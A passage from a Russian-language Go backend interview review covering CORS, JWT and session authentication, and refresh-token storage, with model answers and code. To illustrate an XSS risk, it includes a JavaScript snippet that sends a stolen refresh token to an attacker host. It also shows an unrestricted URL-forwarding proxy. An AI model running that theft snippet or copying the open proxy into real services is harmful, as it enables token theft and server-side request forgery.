w.WriteHeader(http.StatusNoContent)
return
}
next.ServeHTTP(w, r)
})
}
}
// Использование
mux.Handle("/api/upload", corsWithHeaders([]string{
"Content-Type",
"Authorization",
"X-Upload-Id", // кастомный заголовок для загрузки файлов
})(uploadHandler()))
Практический пример с использованием rs/cors:
package main
import (
"net/http"
"github.com/rs/cors"
)
func main() {
mux := http.NewServeMux()
// Публичный endpoint — только GET для всех
mux.HandleFunc("/api/health", healthHandler)
// API с авторизацией — несколько методов для конкретного origin
mux.HandleFunc("/api/users", usersHandler)
mux.HandleFunc("/api/users/", userHandler)
// Настраиваем CORS с разными правилами
c := cors.New(cors.Options{
AllowedOrigins: []string{"https://mysite.com", "https://app.mysite.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE"},
AllowedHeaders: []string{"Content-Type", "Authorization"},
ExposedHeaders: []string{"X-Total-Count", "X-Page-Count"},
AllowCredentials: true,
MaxAge: 86400,
// Функция для кастомной проверки origin
AllowOriginFunc: func(origin string) bool {
return strings.HasPrefix(origin, "https://")
},
})
handler := c.Handler(mux)
http.ListenAndServe(":8080", handler)
}
Использование нескольких CORS-конфигураций:
func main() {
mux := http.NewServeMux()
// Разные конфигурации для разных групп endpoints
publicCORS := cors.New(cors.Options{
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET"},
})
privateCORS := cors.New(cors.Options{
AllowedOrigins: []string{"https://mysite.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE"},
AllowedHeaders: []string{"Content-Type", "Authorization"},
AllowCredentials: true,
})
adminCORS := cors.New(cors.Options{
AllowedOrigins: []string{"https://admin.mysite.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "PATCH"},
AllowedHeaders: []string{"Content-Type", "Authorization", "X-Admin-Token"},
AllowCredentials: true,
})
// Применяем разные middleware
mux.Handle("/api/public/", publicCORS.Handler(http.StripPrefix("/api/public", publicHandler())))
mux.Handle("/api/", privateCORS.Handler(apiHandler()))
mux.Handle("/admin/", adminCORS.Handler(adminHandler()))
http.ListenAndServe(":8080", mux)
}
Итог:
CORS — не монолитная настройка. Сервер может настроить разные правила для разных endpoint, методов, заголовков и origin. Это позволяет реализовать гибкую политику безопасности: публичные API открыты для всех, приватные — только для доверенных клиентов.
Вопрос 10. Какие способы аутентификации и авторизации пользователей существуют и какие использовались на проектах?
Таймкод: 00:12:59
Ответ собеседника: Неполный. Использовал JWT-авторизацию с access и refresh токенами. Access токен прикреплялся к запросам через заголовки, refresh токен использовался для получения новой пары токенов. Refresh токен хранился в localStorage. При получении ошибки 401 через интерцепторы отправлялся refresh токен для обновления пары, после чего запрос повторялся с новым access токеном.
Правильный ответ:
Ответ собеседника описывает конкретный опыт, но не охватывает полный спектр методов аутентификации и авторизации. Ниже приведён обзор основных подходов.
Аутентификация (подтверждение личности):
1. На основе сессий (Session-based)
Сервер хранит состояние сессии, клиент получает session ID в cookie:
package main
import (
"net/http"
"github.com/gorilla/sessions"
)
var store = sessions.NewCookieStore([]byte("secret-key"))
func loginHandler(w http.ResponseWriter, r *http.Request) {
// Проверка логина/пароля
user := authenticate(r.FormValue("username"), r.FormValue("password"))
if user == nil {
http.Error(w, "Invalid credentials", http.StatusUnauthorized)
return
}
session, _ := store.Get(r, "session-name")
session.Values["user_id"] = user.ID
session.Values["authenticated"] = true
session.Save(r, w)
http.Redirect(w, r, "/dashboard", http.StatusFound)
}
func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
session, _ := store.Get(r, "session-name")
if auth, ok := session.Values["authenticated"].(bool); !ok || !auth {
http.Redirect(w, r, "/login", http.StatusFound)
return
}
next.ServeHTTP(w, r)
})
}
Преимущества: простота, возможность мгновенной отзыва сессии. Недостатки: масштабируемость (хранение сессий), уязвимость к CSRF.
2. JWT (JSON Web Tokens)
Статeless-подход: токен содержит всю необходимую информацию:
package main
import (
"time"
"github.com/golang-jwt/jwt/v5"
)
var jwtSecret = []byte("your-secret-key")
type Claims struct {
UserID int `json:"user_id"`
Role string `json:"role"`
jwt.RegisteredClaims
}
func generateToken(userID int, role string) (string, error) {
claims := Claims{
UserID: userID,
Role: role,
RegisteredClaims: jwt.RegisteredClaims{
ExpiresAt: jwt.NewNumericDate(time.Now().Add(15 * time.Minute)),
IssuedAt: jwt.NewNumericDate(time.Now()),
Issuer: "myapp",
},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString(jwtSecret)
}
func validateToken(tokenString string) (*Claims, error) {
token, err := jwt.ParseWithClaims(tokenString, &Claims{}, func(token *jwt.Token) (interface{}, error) {
return jwtSecret, nil
})
if err != nil {
return nil, err
}
if claims, ok := token.Claims.(*Claims); ok && token.Valid {
return claims, nil
}
return nil, jwt.ErrSignatureInvalid
}
func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
tokenString := r.Header.Get("Authorization")
if len(tokenString) > 7 && tokenString[:7] == "Bearer " {
tokenString = tokenString[7:]
}
claims, err := validateToken(tokenString)
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// Добавляем claims в контекст
ctx := context.WithValue(r.Context(), "user_id", claims.UserID)
ctx = context.WithValue(ctx, "role", claims.Role)
next.ServeHTTP(w, r.WithContext(ctx))
})
}
3. OAuth 2.0 / OpenID Connect
Делегированная авторизация через сторонние провайдеры (Google, GitHub и т.д.):
package main
import (
"net/http"
"golang.org/x/oauth2"
"golang.org/x/oauth2/google"
)
var oauthConfig = &oauth2.Config{
ClientID: "your-client-id",
ClientSecret: "your-client-secret",
RedirectURL: "https://mysite.com/auth/callback",
Scopes: []string{"openid", "profile", "email"},
Endpoint: google.Endpoint,
}
func loginHandler(w http.ResponseWriter, r *http.Request) {
url := oauthConfig.AuthCodeURL("state-token", oauth2.AccessTypeOffline)
http.Redirect(w, r, url, http.StatusFound)
}
func callbackHandler(w http.ResponseWriter, r *http.Request) {
code := r.URL.Query().Get("code")
token, err := oauthConfig.Exchange(r.Context(), code)
if err != nil {
http.Error(w, "Failed to exchange token", http.StatusInternalServerError)
return
}
// Получаем информацию о пользователе
client := oauthConfig.Client(r.Context(), token)
resp, _ := client.Get("https://www.googleapis.com/oauth2/v2/userinfo")
// Обработка данных пользователя...
}
4. API Keys
Простой подход для сервис-сервисного взаимодействия:
func apiKeyMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
apiKey := r.Header.Get("X-API-Key")
if apiKey == "" {
http.Error(w, "API key required", http.StatusUnauthorized)
return
}
// Проверка ключа в базе данных
client, err := validateAPIKey(apiKey)
if err != nil {
http.Error(w, "Invalid API key", http.StatusUnauthorized)
return
}
ctx := context.WithValue(r.Context(), "client", client)
next.ServeHTTP(w, r.WithContext(ctx))
})
}
5. Basic Authentication
Базовая HTTP-аутентификация (редко используется в production):
func basicAuthMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
username, password, ok := r.BasicAuth()
if !ok || !validateCredentials(username, password) {
w.Header().Set("WWW-Authenticate", `Basic realm="Restricted"`)
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
next.ServeHTTP(w, r)
})
}
Авторизация (определение прав доступа):
1. RBAC (Role-Based Access Control)
func requireRole(roles ...string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
userRole := r.Context().Value("role").(string)
for _, role := range roles {
if userRole == role {
next.ServeHTTP(w, r)
return
}
}
http.Error(w, "Forbidden", http.StatusForbidden)
})
}
}
// Использование
mux.Handle("/admin/", requireRole("admin")(adminHandler()))
mux.Handle("/editor/", requireRole("admin", "editor")(editorHandler()))
2. ABAC (Attribute-Based Access Control)
Более гибкий подход на основе атрибутов:
func authorize(resource, action string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
userID := r.Context().Value("user_id").(int)
userRole := r.Context().Value("role").(string)
if !checkPermission(userID, userRole, resource, action) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
}
Рекомендации по хранению токенов:
- Access token: в памяти (JavaScript-переменная) или httpOnly cookie
- Refresh token: httpOnly cookie (не localStorage — уязвимо к XSS)
- Использовать короткий срок жизни access token (5–15 минут)
- Refresh token — длинный срок, но с возможностью отзыва
Сравнение подходов:
| Метод | Stateful | Масштабируемость | Сложность | Сценарий |
|---|---|---|---|---|
| Сессии | Да | Низкая | Низкая | Монолитные приложения |
| JWT | Нет | Высокая | Средняя | Микросервисы, SPA |
| OAuth 2.0 | Нет | Высокая | Высокая | Интеграция с внешними сервисами |
| API Keys | Нет | Высокая | Низкая | API для разработчиков |
Вопрос 11. Правильно ли хранить refresh токен в localStorage и где его лучше хранить с точки зрения безопасности?
Таймкод: 00:16:05
Ответ собеседника: Неполный. Признал, что хранение в localStorage не самый безопасный вариант. Предложил хранить в httpOnly cookies с параметром secure для защиты от XSS-атак, так как JavaScript не сможет получить доступ к такому токену.
Правильный ответ:
Хранение refresh token в localStorage — это антипаттерн с точки зрения безопасности. Ниже подробный разбор проблем и рекомендаций.
Проблемы с localStorage:
1. Уязвимость к XSS (Cross-Site Scripting)
Любой JavaScript-код, выполняющийся на странице, имеет доступ к localStorage:
// Злоумышленник, внедривший скрипт через XSS:
const token = localStorage.getItem('refresh_token');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ token })
});
httpOnly cookies недоступны из JavaScript, что исключает этот вектор атаки.
2. Отсутствие встроенной защиты
localStorage не имеет механизмов:
- Автоматического истечения срока действия
- Привязки к домену
- Шифрования
Рекомендуемые подходы к хранению:
1. Refresh token в httpOnly cookie (рекомендуемый подход)
// Серверная сторона — установка refresh token в cookie
func setRefreshTokenCookie(w http.ResponseWriter, refreshToken string) {
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: refreshToken,
Path: "/api/auth/refresh", // Только для endpoint обновления
MaxAge: 7 * 24 * 3600, // 7 дней
HttpOnly: true, // Недоступно из JavaScript
Secure: true, // Только по HTTPS
SameSite: http.SameSiteStrictMode, // Защита от CSRF
})
}
// Endpoint для обновления токенов
func refreshHandler(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("refresh_token")
if err != nil {
http.Error(w, "No refresh token", http.StatusUnauthorized)
return
}
// Валидация refresh token
claims, err := validateRefreshToken(cookie.Value)
if err != nil {
http.Error(w, "Invalid refresh token", http.StatusUnauthorized)
return
}
// Проверка, не отозван ли токен
if isTokenRevoked(cookie.Value) {
http.Error(w, "Token revoked", http.StatusUnauthorized)
return
}
// Генерация новой пары токенов
newAccessToken, _ := generateAccessToken(claims.UserID, claims.Role)
newRefreshToken, _ := generateRefreshToken(claims.UserID)
// Отзываем старый refresh token (rotation)
revokeToken(cookie.Value)
// Устанавливаем новый refresh token
setRefreshTokenCookie(w, newRefreshToken)
// Отправляем access token в ответе
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{
"access_token": newAccessToken,
})
}
2. Access token в памяти (JavaScript-переменная)
// Клиентская сторона
let accessToken = null;
async function login(credentials) {
const response = await fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(credentials),
credentials: 'include' // Важно для отправки cookies
});
const data = await response.json();
accessToken = data.access_token; // Храним в памяти
}
async function fetchWithAuth(url, options = {}) {
// Добавляем access token к запросу
options.headers = {
...options.headers,
'Authorization': `Bearer ${accessToken}`,
};
options.credentials = 'include';
let response = await fetch(url, options);
// Если истёк — обновляем
if (response.status === 401) {
await refreshTokens();
options.headers['Authorization'] = `Bearer ${accessToken}`;
response = await fetch(url, options);
}
return response;
}
async function refreshTokens() {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // Отправляем httpOnly cookie
});
if (!response.ok) {
// Перенаправляем на логин
window.location = '/login';
return;
}
const data = await response.json();
accessToken = data.access_token;
}
Rotation токенов (дополнительная защита):
При каждом обновлении refresh token старый отзывается:
type TokenStore struct {
db *sql.DB
}
func (s *TokenStore) RevokeToken(tokenID string) error {
_, err := s.db.Exec("UPDATE refresh_tokens SET revoked = true WHERE id = $1", tokenID)
return err
}
func (s *TokenStore) IsRevoked(tokenID string) bool {
var revoked bool
s.db.QueryRow("SELECT revoked FROM refresh_tokens WHERE id = $1", tokenID).Scan(&revoked)
return revoked
}
func (s *TokenStore) SaveToken(userID int, tokenID string, expiresAt time.Time) error {
_, err := s.db.Exec(
"INSERT INTO refresh_tokens (id, user_id, expires_at) VALUES ($1, $2, $3)",
tokenID, userID, expiresAt,
)
return err
}
Защита от CSRF при использовании cookies:
// SameSite атрибут cookie
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
// ...
SameSite: http.SameSiteStrictMode, // или LaxMode
})
// Дополнительно — CSRF token для мутирующих запросов
func csrfMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet && r.Method != http.MethodHead {
csrfToken := r.Header.Get("X-CSRF-Token")
if !validateCSRFToken(csrfToken) {
http.Error(w, "Invalid CSRF token", http.StatusForbidden)
return
}
}
next.ServeHTTP(w, r)
})
}
Сравнение подходов:
| Подход | XSS защита | CSRF защита | Сложность | Рекомендация |
|---|---|---|---|---|
| localStorage | Нет | Не нужна | Низкая | Не рекомендуется |
| httpOnly cookie + memory | Да | Нужна | Средняя | Рекомендуется |
| httpOnly cookie + CSRF token | Да | Да | Высокая | Максимальная безопасность |
| BFF (Backend for Frontend) | Да | Да | Высокая | Enterprise-решения |
Итог:
Оптимальная стратегия:
- Refresh token: httpOnly, Secure, SameSite=Strict cookie
- Access token: JavaScript-переменная в памяти (не сохралять в localStorage/sessionStorage)
- Rotation: отзыв старого refresh token при каждом обновлении
- Короткий срок: access token — 5–15 минут, refresh token — дни/недели
Вопрос 12. Обязательно ли отправлять refresh токен с каждым запросом и можно ли настроить отправку только для определённых запросов?
Таймкод: 00:17:17
Ответ собеседния: Неполный. Уточнил, что access токен прикрепляется к заголовку каждого запроса, а refresh используется только при получении ошибки 401. На вопрос о выборочной отправке предположил, что можно настроить параметры cookie, например path, чтобы ограничить отправку определёнными маршрутами.
Правильный ответ:
Ответ собеседника в целом верен. Ниже приведено более детальное описание.
Различие между access и refresh токенами:
Access token — отправляется с каждым запросом к защищённым ресурсам через заголовок:
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Refresh token — отправляется только на endpoint обновления токенов, а не с каждым запросом. Это принципиальное различие.
Как работает процесс:
Клиент Сервер
| |
|--- GET /api/data ------------>| (с access token)
|<-- 401 Unauthorized ----------| (access token истёк)
| |
|--- POST /api/auth/refresh --->| (с refresh token в cookie)
|<-- { access_token: "new" } ---| (новая пара токенов)
| |
|--- GET /api/data ------------>| (с новым access token)
|<-- 200 OK + data -------------|
Настройка отправки refresh token только для определённых маршрутов:
1. Параметр Path в cookie:
func setRefreshTokenCookie(w http.ResponseWriter, refreshToken string) {
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: refreshToken,
Path: "/api/auth", // Только для /api/auth/*
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteStrictMode,
MaxAge: 7 * 24 * 3600,
})
}
При такой настройке cookie будет отправляться только для:
/api/auth/refresh/api/auth/logout/api/auth/any-path
Но не для:
/api/users/api/data/
2. Раздельные endpoints:
func main() {
mux := http.NewServeMux()
// Публичные маршруты — без авторизации
mux.HandleFunc("/api/health", healthHandler)
mux.HandleFunc("/api/auth/login", loginHandler)
mux.HandleFunc("/api/auth/register", registerHandler)
// Endpoint для обновления — refresh token нужен только здесь
mux.HandleFunc("/api/auth/refresh", refreshHandler)
mux.HandleFunc("/api/auth/logout", logoutHandler)
// Защищённые маршруты — только access token
protected := http.NewServeMux()
protected.HandleFunc("/api/users", usersHandler)
protected.HandleFunc("/api/data", dataHandler)
// Применяем middleware с access token
mux.Handle("/api/", authMiddleware(protected))
http.ListenAndServe(":8080", mux)
}
3. Полная реализация refresh endpoint:
func refreshHandler(w http.ResponseWriter, r *http.Request) {
// Получаем refresh token из cookie (отправляется автоматически браузером)
cookie, err := r.Cookie("refresh_token")
if err != nil {
http.Error(w, "No refresh token", http.StatusUnauthorized)
return
}
// Валидация
claims, err := validateRefreshToken(cookie.Value)
if err != nil {
http.Error(w, "Invalid refresh token", http.StatusUnauthorized)
return
}
// Проверка в базе данных
if !isValidInDB(cookie.Value) {
// Возможно, токен был украден — отзываем все токены пользователя
revokeAllUserTokens(claims.UserID)
http.Error(w, "Token reuse detected", http.StatusUnauthorized)
return
}
// Генерация новой пары
newAccess, _ := generateAccessToken(claims.UserID, claims.Role)
newRefresh, _ := generateRefreshToken(claims.UserID)
// Rotation: отзываем старый, сохраняем новый
revokeToken(cookie.Value)
saveToken(claims.UserID, newRefresh)
// Устанавливаем новый refresh token в cookie
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: newRefresh,
Path: "/api/auth",
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteStrictMode,
MaxAge: 7 * 24 * 3600,
})
// Отправляем access token в теле ответа
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{
"access_token": newAccess,
})
}
Клиентская сторона — интерцептор:
let accessToken = null;
let isRefreshing = false;
let failedQueue = [];
async function fetchWithAuth(url, options = {}) {
options.headers = {
...options.headers,
'Authorization': `Bearer ${accessToken}`,
};
let response = await fetch(url, options);
if (response.status === 401) {
if (!isRefreshing) {
isRefreshing = true;
try {
const refreshed = await refreshTokens();
accessToken = refreshed.access_token;
isRefreshing = false;
// Повторяем запросы из очереди
failedQueue.forEach(cb => cb(accessToken));
failedQueue = [];
// Повторяем текущий запрос
options.headers['Authorization'] = `Bearer ${accessToken}`;
response = await fetch(url, options);
} catch (err) {
// Refresh не удался — перенаправляем на логин
window.location = '/login';
throw err;
}
} else {
// Ждём завершения обновления
return new Promise((resolve) => {
failedQueue.push((newToken) => {
options.headers['Authorization'] = `Bearer ${newToken}`;
resolve(fetch(url, options));
});
});
}
}
return response;
}
async function refreshTokens() {
// Cookie отправится автоматически, только если path совпадает
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include',
});
if (!response.ok) {
throw new Error('Refresh failed');
}
return response.json();
}
Важные нюансы:
- Refresh token никогда не отправляется на обычные API endpoints
- Cookie с Path
/api/authотправляется только на/api/auth/* - Access token всегда отправляется в заголовке
Authorization - При использовании cookie не нужно явно прикреплять refresh token — браузер делает это автоматически
Вопрос 13. CORS — это браузерная или серверная политика защиты, от кого и для кого она предназначена?
Таймкод: 00:18:39
Ответ собеседника: Правильный. CORS — это браузерная политика защиты. Предназначена для предотвращения отправки запросов с одного домена на другой мошенническими сайтами. Например, чтобы скопированный сайт не мог получить данные с оригинального сайта и вывести их у себя.
Правильный ответ:
Ответ собеседника корректен. Ниже приведено более детальное описание.
Кто реализует CORS:
CORS — это браузерный механизм. Браузер проверяет заголовки ответа и решает, предоставить ли JavaScript-коду доступ к ответу.
Кто настраивает CORS:
Сервер настраивает заголовки CORS, определяя, каким клиентам разрешён доступ:
Сервер → устанавливает заголовки CORS
Браузер → проверяет заголовки и блокирует/разрешает доступ
От кого защищает CORS:
CORS защищает владельца API и его пользователей от злонамеренных сайтов:
Сценарий атаки без CORS:
1. Пользователь авторизован на https://bank.com
2. Пользователь открывает вкладку с https://evil-site.com
3. evil-site.com выполняет JavaScript-запрос к https://bank.com/api/balance
4. Браузер автоматически прикрепляет cookies bank.com к запросу
5. Сервер bank.com отвечает с данными о балансе
6. evil-site.com получает данные и отправляет их злоумышленнику
С CORS:
1-4. То же самое
5. Сервер bank.com отвечает, но без заголовка Access-Control-Allow-Origin
6. Браузер блокирует доступ JavaScript к ответу
7. evil-site.com не может прочитать данные
Важные нюансы:
1. CORS не защищает от серверных запросов
CORS работает только в браузере. curl, Postman, серверные запросы не проверяют CORS:
# CORS не применяется — запрос пройдёт
curl -H "Origin: https://evil-site.com" https://api.example.com/data
2. CORS не заменяет аутентификацию
CORS — дополнительный уровень защиты, а не замена проверке токенов на сервере:
// Неправильно: полагаться только на CORS
func handler(w http.ResponseWriter, r *http.Request) {
// CORS разрешил — но всё равно нужно проверить авторизацию!
claims := validateToken(r.Header.Get("Authorization"))
if claims == nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// ... обработка запроса
}
3. CORS защищает от чтения ответов, но не от отправки запросов
Некоторые запросы (простые) всё равно достигают сервера — браузер блокирует только чтение ответа.
Итог:
CORS — это браузерный механизм, который:
- Реализуется браузером
- Настраивается сервером
- Защищает пользователей и владельцев API от злонамеренных сайтов
- Не является заменой аутентификации и авторизации
- Работает только в браузерном контексте
Вопрос 14. Можно ли обойти ограничения CORS, отправив запрос через Postman или аналогичный инструмент?
Таймкод: 00:19:27
Ответ собеседника: Правильный. Да, через Postman CORS-ошибки не возникают, так как CORS — это браузерная политика, а Postman не является браузером и не применяет эти ограничения.
Правильный ответ:
Ответ собеседника полностью верен. Ниже приведено дополнительное пояснение.
Почему Postman обходит CORS:
CORS — это механизм безопасности, реализованный исключительно в браузерах. Postman, curl, серверные приложения и другие HTTP-клиенты отправляют запросы напрямую, минуя браузерные проверки.
Что это значит на практике:
# curl — CORS не применяется
curl -X GET https://api.example.com/data \
-H "Origin: https://any-site.com"
# Сервер на Go — запрос обработается без проверки CORS
func handler(w http.ResponseWriter, r *http.Request) {
// Этот код выполнится независимо от заголовка Origin
// CORS-проверка — ответственность браузера, не сервера
w.Write([]byte(`{"data": "response"}`))
}
Другие способы обхода CORS:
1. Прокси-сервер:
// Простой прокси на Go
func proxyHandler(w http.ResponseWriter, r *http.Request) {
targetURL := r.URL.Query().Get("url")
// Создаём запрос к целевому серверу
req, _ := http.NewRequest(r.Method, targetURL, r.Body)
// Копируем заголовки
for key, values := range r.Header {
for _, value := range values {
req.Header.Add(key, value)
}
}
// Отправляем запрос сервер-к-серверу (без CORS)
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer resp.Body.Close()
// Копируем ответ
for key, values := range resp.Header {
for _, value := range values {
w.Header().Add(key, value)
}
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
}
2. CORS-прокси в разработке:
// В development можно использовать прокси в vite/webpack
// vite.config.js
export default {
server: {
proxy: {
'/api': {
target: 'https://api.example.com',
changeOrigin: true,
rewrite: (path) => path.replace(/^\/api/, ''),
}
}
}
}
3. Расширения браузера:
Расширения типа CORS Unblock могут модифицировать заголовки, но это небезопасно и не рекомендуется.
Почему это не делает CORS бесполезным:
CORS защищает именно браузерный контекст — сценарий, когда злонамеренный сайт пытается получить доступ к данным пользователя через его браузер с его cookies:
Браузер пользователя:
https://evil-site.com → https://bank.com/api/balance
↑ CORS блокирует чтение ответа
Сервер злоумышленника:
https://evil-site.com/server → https://bank.com/api/balance
↑ CORS не применяется, но cookies пользователя нет → 401
Важный вывод:
CORS — не механизм защиты API от неавторизованных запросов. Это механизм защиты пользователей в браузере. Сервер всегда должен проверять аутентификацию и авторизацию независимо от CORS:
func secureHandler(w http.ResponseWriter, r *http.Request) {
// CORS заголовки — для браузера
w.Header().Set("Access-Control-Allow-Origin", "https://mysite.com")
// Аутентификация — обязательно для всех клиентов
token := r.Header.Get("Authorization")
claims, err := validateToken(token)
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// Авторизация — проверка прав
if claims.Role != "admin" {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
// ... обработка запроса
}
Вопрос 15. Что такое сессионная авторизация и чем она отличается от токенной?
Таймкод: 00:19:56
Ответ собеседника: Неполный. Сессии сохраняются в базе данных на сервере. Выразил мнение, что этот подход кажется тяжёлым, но не смог подробно объяснить разницу между сессионной и токенной авторизацией, механизм работы сессий.
Правильный ответ:
Сессионная авторизация (Session-based):
Сервер хранит состояние сессии, клиент получает только идентификатор.
Механизм работы:
1. Логин:
Клиент → POST /login {username, password} → Сервер
Сервер → Создаёт сессию в БД/кэше → Отправляет session_id в cookie
2. Запросы:
Клиент → GET /api/data (cookie: session_id=abc123) → Сервер
Сервер → Ищет сессию abc123 в БД → Получает user_id → Отвечает
3. Логаут:
Клиент → POST /logout → Сервер
Сервер → Удаляет сессию из БД → Очищает cookie
Реализация на Go:
package main
import (
"crypto/rand"
"encoding/hex"
"net/http"
"sync"
"time"
)
type Session struct {
UserID int
Username string
ExpiresAt time.Time
}
type SessionStore struct {
mu sync.RWMutex
sessions map[string]Session
}
func NewSessionStore() *SessionStore {
store := &SessionStore{
sessions: make(map[string]Session),
}
// Периодическая очистка истёкших сессий
go store.cleanup()
return store
}
func (s *SessionStore) Create(userID int, username string) string {
sessionID := generateSessionID()
s.mu.Lock()
s.sessions[sessionID] = Session{
UserID: userID,
Username: username,
ExpiresAt: time.Now().Add(24 * time.Hour),
}
s.mu.Unlock()
return sessionID
}
func (s *SessionStore) Get(sessionID string) (Session, bool) {
s.mu.RLock()
session, exists := s.sessions[sessionID]
s.mu.RUnlock()
if !exists || time.Now().After(session.ExpiresAt) {
return Session{}, false
}
return session, true
}
func (s *SessionStore) Delete(sessionID string) {
s.mu.Lock()
delete(s.sessions, sessionID)
s.mu.Unlock()
}
func (s *SessionStore) cleanup() {
ticker := time.NewTicker(5 * time.Minute)
for range ticker.C {
s.mu.Lock()
for id, session := range s.sessions {
if time.Now().After(session.ExpiresAt) {
delete(s.sessions, id)
}
}
s.mu.Unlock()
}
}
func generateSessionID() string {
bytes := make([]byte, 32)
rand.Read(bytes)
return hex.EncodeToString(bytes)
}
var store = NewSessionStore()
func loginHandler(w http.ResponseWriter, r *http.Request) {
username := r.FormValue("username")
password := r.FormValue("password")
user := authenticate(username, password)
if user == nil {
http.Error(w, "Invalid credentials", http.StatusUnauthorized)
return
}
sessionID := store.Create(user.ID, user.Username)
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionID,
Path: "/",
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
MaxAge: 24 * 3600,
})
w.Write([]byte("Logged in"))
}
func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("session_id")
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
session, valid := store.Get(cookie.Value)
if !valid {
http.Error(w, "Session expired", http.StatusUnauthorized)
return
}
ctx := context.WithValue(r.Context(), "user_id", session.UserID)
next.ServeHTTP(w, r.WithContext(ctx))
})
}
Хранение сессий в Redis (production-подход):
import "github.com/go-redis/redis/v8"
type RedisSessionStore struct {
client *redis.Client
ctx context.Context
}
func NewRedisSessionStore(addr string) *RedisSessionStore {
return &RedisSessionStore{
client: redis.NewClient(&redis.Options{
Addr: addr,
}),
ctx: context.Background(),
}
}
func (s *RedisSessionStore) Create(userID int, username string) (string, error) {
sessionID := generateSessionID()
key := "session:" + sessionID
data := map[string]interface{}{
"user_id": userID,
"username": username,
}
err := s.client.HSet(s.ctx, key, data).Err()
if err != nil {
return "", err
}
// TTL 24 часа
s.client.Expire(s.ctx, key, 24*time.Hour)
return sessionID, nil
}
func (s *RedisSessionStore) Get(sessionID string) (Session, bool) {
key := "session:" + sessionID
data, err := s.client.HGetAll(s.ctx, key).Result()
if err != nil || len(data) == 0 {
return Session{}, false
}
userID, _ := strconv.Atoi(data["user_id"])
return Session{
UserID: userID,
Username: data["username"],
}, true
}
func (s *RedisSessionStore) Delete(sessionID string) error {
key := "session:" + sessionID
return s.client.Del(s.ctx, key).Err()
}
Токенная авторизация (Token-based, JWT):
Сервер не хранит состояние — вся информация в токене.
// JWT — самодостаточный токен
type Claims struct {
UserID int `json:"user_id"`
Role string `json:"role"`
jwt.RegisteredClaims
}
func generateToken(userID int, role string) (string, error) {
claims := Claims{
UserID: userID,
Role: role,
RegisteredClaims: jwt.RegisteredClaims{
ExpiresAt: jwt.NewNumericDate(time.Now().Add(15 * time.Minute)),
},
}
return jwt.NewWithClaims(jwt.SigningMethodHS256, claims).SignedString(secret)
}
// Сервер не хранит токены — только проверяет подпись
func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
tokenString := extractToken(r)
claims, err := validateToken(tokenString)
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
ctx := context.WithValue(r.Context(), "user_id", claims.UserID)
next.ServeHTTP(w, r.WithContext(ctx))
})
}
Сравнение подходов:
| Критерий | Сессии | JWT |
|---|---|---|
| Хранение состояния | Сервер (БД/Redis) | Клиент (токен) |
| Stateful/Stateless | Stateful | Stateless |
| Масштабируемость | Нужна общая хранилище | Не нужно |
| Отзыв мгновенный | Да (удалить сессию) | Нет (токен действителен до истечения) |
| Рмер данных | Маленький session_id | Больше (claims в токене) |
| Сложность | Средняя | Низкая |
| Производительность | Запрос к БД на каждый запрос | Только проверка подписи |
Когда что использовать:
- Сессии: монолитные приложения, нужен мгновенный отзыв, простая инфраструктура
- JWT: микросервисы, мобильные приложения, распределённые системы, высокая масштабируемость
Гибридный подход (JWT + отзыв):
// JWT с возможностью отзыва через blacklist в Redis
func isTokenRevoked(jti string) bool {
exists, _ := redisClient.Exists(ctx, "revoked:"+jti).Result()
return exists > 0
}
func revokeToken(jti string, expiresAt time.Time) {
ttl := time.Until(expiresAt)
redisClient.Set(ctx, "revoked:"+jti, "1", ttl)
}
Этот подход сочетает stateless-преимущества JWT с возможностью отзыва через компактный blacklist.
